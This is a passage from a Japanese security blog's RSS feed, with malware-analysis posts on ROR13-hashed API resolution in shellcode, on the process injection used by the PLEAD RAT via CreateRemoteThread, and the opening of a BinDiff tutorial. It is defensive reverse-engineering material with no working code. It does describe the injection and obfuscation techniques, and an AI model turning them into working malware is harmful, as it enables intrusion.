&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;h3 id=&quot;3-loadlibraryaで関数をインポート&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#3-loadlibrarya%E3%81%A7%E9%96%A2%E6%95%B0%E3%82%92%E3%82%A4%E3%83%B3%E3%83%9D%E3%83%BC%E3%83%88&quot; aria-label=&quot;3 loadlibraryaで関数をインポート permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;3. LoadLibraryA()で関数をインポート&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://binarygenes.com/posts/2020-03-10-shellcode%E3%81%AE%E8%A7%A3%E6%9E%90_ROR13#2-loadlibrarya%E3%81%AE%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%88%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E5%8F%96%E5%BE%97&quot;&gt;2. LoadLibraryA()のスタートアドレス取得&lt;/a&gt;で&lt;strong&gt;050B00D4&lt;/strong&gt;にある&lt;code class=&quot;language-text&quot;&gt;call&lt;/code&gt;を実行するところに話を戻します。同じ画像を再掲しておきます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/ror13.png&quot; alt=&quot;ROR13の呼び出し部の図&quot; title=&quot;ROR13の呼び出し部&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;call  near ptr loc_50B00E1+1&lt;/code&gt;となっていた箇所が実行に伴い&lt;code class=&quot;language-text&quot;&gt;call  loc_50B00E2&lt;/code&gt;に変わっています。単純に足し算しただけですが、&lt;strong&gt;+1&lt;/strong&gt;で1バイト分呼び出し先をずらすことでデバッガに間違ってアセンブラを表示させることができる難読化テクニックです。&lt;/p&gt;
&lt;p&gt;呼び出し先を見ていくと、&lt;code class=&quot;language-text&quot;&gt;call  eax&lt;/code&gt;つまり、aa_ror13()の最後の戻り値である&lt;code class=&quot;language-text&quot;&gt;LoadLibraryA();&lt;/code&gt;を呼び出しています。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/call_loadlibrarya.png&quot; alt=&quot;LoadLibraryA()の呼び出しの図&quot; title=&quot;LoadLibraryA()の呼び出し&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;LoadLibraryA();&lt;/code&gt;の引数は、直前の&lt;code class=&quot;language-text&quot;&gt;call  loc_50B00E2&lt;/code&gt;でスタックに積まれたReturn-eipなので、そのアドレスの表示を文字列へ変換すると、&lt;strong&gt;advapi32&lt;/strong&gt;であることが分かります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/returneip-is-parameter.png&quot; alt=&quot;LoadLibraryA()の引数の図&quot; title=&quot;LoadLibraryA()の引数&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;ここからはadvapi32.dll内からROR13ハッシュでインポート関数のスタートアドレスを取得し、スタックに積んでいきます。マルウェアがレジストリを操作しようとしているということが分かってきますね。&lt;/p&gt;
&lt;p&gt;画像一番下の&lt;code class=&quot;language-text&quot;&gt;call dword ptr [ebp-20h]&lt;/code&gt;は実際にROR13で取得した関数を呼び出しているところです。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/ror13_advapi32.png&quot; alt=&quot;ROR13の呼び出し部の図2&quot; title=&quot;ROR13の呼び出し部2&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;最後に&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E6%9C%80%E5%BE%8C%E3%81%AB&quot; aria-label=&quot;最後に permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;最後に&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;呼び出す関数名をROR13によって隠しているシェルコードの解析手順を紹介しました。
今回登場したROR13と関数名の対応表を以下に記載しておきます。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;ror13ハッシュ&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#ror13%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5&quot; aria-label=&quot;ror13ハッシュ permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;ROR13ハッシュ&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;今回の記事に登場したROR13ハッシュと関数名の対応表です。&lt;/p&gt;
&lt;br&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ROR13&lt;/th&gt;
&lt;th&gt;関数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4B1E5ADB&lt;/td&gt;
&lt;td&gt;lstrcmpiA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4DC9D5A0&lt;/td&gt;
&lt;td&gt;FreeLibrary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7C0DFCAA&lt;/td&gt;
&lt;td&gt;GetProcAddress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;73E2D87E&lt;/td&gt;
&lt;td&gt;ExitProcess&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;99EC895E&lt;/td&gt;
&lt;td&gt;CopyFileA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C2FFB025&lt;/td&gt;
&lt;td&gt;DeleteFileA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;56F7396A&lt;/td&gt;
&lt;td&gt;SetFileAttributesA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DD434738&lt;/td&gt;
&lt;td&gt;lstrlen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EC0E4E8E&lt;/td&gt;
&lt;td&gt;LoadLibraryA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2D1C9ADD&lt;/td&gt;
&lt;td&gt;RegSetValueExA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A84AEB81&lt;/td&gt;
&lt;td&gt;RegOpenKeyExA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2D1C9ADD&lt;/td&gt;
&lt;td&gt;RegSetValueExA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B4CEEAB6&lt;/td&gt;
&lt;td&gt;RegDeleteValueA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2D1C9ADD&lt;/td&gt;
&lt;td&gt;RegCloseKey&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[Process Injectionを解析する]]></title><description><![CDATA[Process injectionといえば、MITRE ATT&CKにて検知妨害テクニックのT1093として挙げられている技術のことです。
今回は、PLEADマルウェアが実際に利用している実例をもとに、攻撃テクニックProcess Injectionとその解析方法についてまとめます。]]></description><link>https://binarygenes.com/posts/2020-03-09-analyzing-process-injection</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-03-09-analyzing-process-injection</guid><pubDate>Mon, 09 Mar 2020 00:00:58 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/attack.png&quot; alt=&quot;MITRE ATT＆CK&quot; title=&quot;MITRE ATT＆CK&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;今回の解析対象について&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E4%BB%8A%E5%9B%9E%E3%81%AE%E8%A7%A3%E6%9E%90%E5%AF%BE%E8%B1%A1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6&quot; aria-label=&quot;今回の解析対象について permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;今回の解析対象について&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;通称PLEADと呼ばれるマルウェアを対象とします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RAT (Remote Access Trojan)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf&quot;&gt;TrendMicroのレポート&lt;/a&gt;上ではBKDR_PLEAD.ZTDK-Bと表記&lt;/li&gt;
&lt;li&gt;SHA256: c303bab9e2655739ee85adf92cc9e9c9b1e4371dddeb9270cbbb81f34f4f96b9&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JPCERTのブログにも解析記事があります。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blogs.jpcert.or.jp/ja/2018/05/linopid.html&quot;&gt;https://blogs.jpcert.or.jp/ja/2018/05/linopid.html&lt;/a&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;対象検体によるprocess-injectionの流れ&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E5%AF%BE%E8%B1%A1%E6%A4%9C%E4%BD%93%E3%81%AB%E3%82%88%E3%82%8Bprocess-injection%E3%81%AE%E6%B5%81%E3%82%8C&quot; aria-label=&quot;対象検体によるprocess injectionの流れ permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;対象検体によるProcess Injectionの流れ&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;以下の流れで解析を行っていきます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;CreateProcessA();&lt;/code&gt;で64bitのiexplore.exeを起動&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;VirtualAllocEx();&lt;/code&gt;でiexplore.exe内にShellcodeのメモリを確保&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;WriteProcessMemory();&lt;/code&gt;でVirtualAllocExで確保したメモリにShellcodeを書き込み&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;CreateRemoteThread();&lt;/code&gt;でShellcodeを新しいThreadとしてiexplore.exeに実行させる&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;余談process-injectionとprocess-hollowingの違い&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E4%BD%99%E8%AB%87process-injection%E3%81%A8process-hollowing%E3%81%AE%E9%81%95%E3%81%84&quot; aria-label=&quot;余談process injectionとprocess hollowingの違い permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;余談:Process InjectionとProcess Hollowingの違い&lt;/h3&gt;
&lt;p&gt;ATT&amp;#x26;Kの情報を読んでもほとんど同じことを行っているように思えるのですが、どうやらProcess Hollowingの場合にはターゲットプロセスのメモリをアンマップした領域に悪性のコードを書き込むことを指しているようです。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/enterprise/&quot;&gt;https://attack.mitre.org/techniques/enterprise/&lt;/a&gt; 参照&lt;/p&gt;
&lt;h2 id=&quot;解析方法code-injection動作の解析&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E8%A7%A3%E6%9E%90%E6%96%B9%E6%B3%95code-injection%E5%8B%95%E4%BD%9C%E3%81%AE%E8%A7%A3%E6%9E%90&quot; aria-label=&quot;解析方法code injection動作の解析 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;解析方法（Code injection動作の解析）&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;ここでは、Process Injection部分の解析の流れを上で紹介した検体をもとに説明します。&lt;/p&gt;
&lt;p&gt;まずマルウェアが&lt;code class=&quot;language-text&quot;&gt;CreateProcessA();&lt;/code&gt;で自分の子プロセスを新しく作成します。&lt;/p&gt;
&lt;p&gt;引数&lt;code class=&quot;language-text&quot;&gt;lpCommandLine&lt;/code&gt;として&lt;code class=&quot;language-text&quot;&gt;ebx&lt;/code&gt;の値が使われているため、このebxの指すアドレスに実行されるプロセスが書かれています。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/createprocessa.png&quot; alt=&quot;CreateProcessA&quot; title=&quot;CreateProcessA&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;ebx&lt;/code&gt;を見てみると32bitのiexplore.exeを実行しようとしていることが分かります。&lt;/p&gt;
&lt;p&gt;（実は今回の解析時にこのiexplore.exeのパスの”Program Files”を”Program Files (x86)“に手動で書き換えてしまいました。理由は、32bit(WOW64)から64bitプロセスに対して&lt;code class=&quot;language-text&quot;&gt;CreateRemoteThread();&lt;/code&gt;を実行するとERROR_ACCESS_DENIED(5)で失敗するからです。この詳細はまた別の記事にて紹介します。）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/ebx.png&quot; alt=&quot;ebx&quot; title=&quot;ebx&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;CreateProcessA();&lt;/code&gt;は引数として渡した&lt;code class=&quot;language-text&quot;&gt;lpProcessInformation&lt;/code&gt;のメンバから&lt;code class=&quot;language-text&quot;&gt;hProcess&lt;/code&gt;を取り出し、iexplore.exeに対して&lt;code class=&quot;language-text&quot;&gt;VirtualAllocEx();&lt;/code&gt;を呼び出します。&lt;/p&gt;
&lt;p&gt;これは不正なコードをInjectionするメモリ領域を確保する為です。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/virtualallocex.png&quot; alt=&quot;VirtualAllocEx&quot; title=&quot;VirtualAllocEx&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;VirtualAlloc();&lt;/code&gt;で確保したメモリに&lt;code class=&quot;language-text&quot;&gt;WriteProcessMemoryA();&lt;/code&gt;にて不正なコードを書き込み(Injection)します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/writeprocessmemory.png&quot; alt=&quot;WriteProcessMemory&quot; title=&quot;WriteProcessMemory&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;CreateRemoteThread();&lt;/code&gt;にて、不正なコードをInjectionしたメモリのアドレスを&lt;code class=&quot;language-text&quot;&gt;lpStartAddress&lt;/code&gt;に入れてiexplore.exeのスレッドとして実行します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/createremotethread.png&quot; alt=&quot;CreateRemoteThread&quot; title=&quot;CreateRemoteThread&quot;&gt;&lt;/p&gt;
&lt;p&gt;ここまでで、Process Injectionの流れは終了です。この後、iexplore.exeが不正な挙動を実行していくこととなります。&lt;/p&gt;
&lt;h2 id=&quot;解析方法code-injectionされたプロセスの解析&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E8%A7%A3%E6%9E%90%E6%96%B9%E6%B3%95code-injection%E3%81%95%E3%82%8C%E3%81%9F%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E3%81%AE%E8%A7%A3%E6%9E%90&quot; aria-label=&quot;解析方法code injectionされたプロセスの解析 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;解析方法（Code injectionされたプロセスの解析）&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;今回の例では、Code injectionされたiexplore.exeの解析を進める方法を示します。&lt;/p&gt;
&lt;p&gt;上述の&lt;code class=&quot;language-text&quot;&gt;CreateRemoteThread();&lt;/code&gt;実行の直前から開始します。 デバッガを新しく開き、&lt;code class=&quot;language-text&quot;&gt;CreateProcessA();&lt;/code&gt;で作られたiexplore.exeのプロセスにAttachします。私の場合は今まで通りIDA Proで行います。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/attach.png&quot; alt=&quot;IDA ProでAttachする図1&quot; title=&quot;IDA ProでAttachする図1&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/attach2.png&quot; alt=&quot;IDA ProでAttachする図2&quot; title=&quot;IDA ProでAttachする図2&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Shift+F7&lt;/strong&gt;でSegmentsを開き、不正コードがInjectionされたセグメント（実行フラグXが付いているはずです）を右クリックし&lt;strong&gt;Break on access&lt;/strong&gt;を選択します。そうすると、選択セグメント全体にハードウェアブレイクポイントが張られます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/segments.png&quot; alt=&quot;Segments&quot; title=&quot;Segments&quot;&gt;&lt;/p&gt;
&lt;p&gt;ハードウェアブレイクポイントが張られていることを確認し、&lt;strong&gt;F9&lt;/strong&gt;でContinueしておきます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200309_process_injection/breakonaccess.png&quot; alt=&quot;Hardware breakpointが張られた図&quot; title=&quot;Hardware breakpointが張られた図&quot;&gt;&lt;/p&gt;
&lt;p&gt;ここで初めて、Code injectionする側の&lt;code class=&quot;language-text&quot;&gt;CreateRemoteThread();&lt;/code&gt;をステップ実行します。&lt;/p&gt;
&lt;p&gt;すると、iexplore.exeがブレイクポイントで止まっているので動的解析を始めることが出来ます。&lt;/p&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[バイナリファイルの差分を比較するツールが便利]]></title><description><![CDATA[バイナリを比較することでマルウェア解析やバグハンティングに役立つツールBinDiffを使ってみました。]]></description><link>https://binarygenes.com/posts/2020-03-08-introducing-bindiff</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-03-08-introducing-bindiff</guid><pubDate>Sun, 08 Mar 2020 02:14:18 GMT</pubDate><content:encoded>&lt;p&gt;今回は、BinDiffというツールを使ってバイナリファイルの差分比較を行ってみました。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/bindifftitle.png&quot; alt=&quot;BinDiff&quot; title=&quot;BinDiff&quot;&gt;&lt;/p&gt;
&lt;p&gt;バイナリの比較が役に立つ場面として想定される2つを以下に記載します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;セキュリティアップデート前後のバイナリを比較することで、Exploitを防ぐための改修部分から脆弱性を突くExploit作成に必要な情報が得られる。&lt;/li&gt;
&lt;li&gt;解析済みのマルウェアとその亜種とを比較し、共通の機能(関数)を洗い出す。&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
&lt;h2 id=&quot;準備&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E6%BA%96%E5%82%99&quot; aria-label=&quot;準備 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;準備&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;BinDiffが比較対象とするのはバイナリ解析ツールでおなじみのIDA proでバイナリから作成した.idbファイルです。 IDA proを持っていない人はFreeware版を&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware/&quot;&gt;ここ&lt;/a&gt;からダウンロードすることが出来ます。&lt;/p&gt;
&lt;p&gt;BinDiffは以下のサイトからダウンロードできます。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.zynamics.com/software.html&quot;&gt;https://www.zynamics.com/software.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ダウンロードしたインストーラを実行するとことでデフォルトでは&lt;code class=&quot;language-text&quot;&gt;C:\Program files\BinDiff&lt;/code&gt;が作成されます。なおインストール時にはIDA proのインストールパスを指定する必要があります。 .jarファイルを実行することでGUIアプリケーションを起動することができます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200308_bindiff/20200229105316.png&quot; alt=&quot;BinDiffのZIPファイル中身&quot; title=&quot;BinDiffのZIPファイル中身&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;利用開始&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E5%88%A9%E7%94%A8%E9%96%8B%E5%A7%8B&quot; aria-label=&quot;利用開始 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 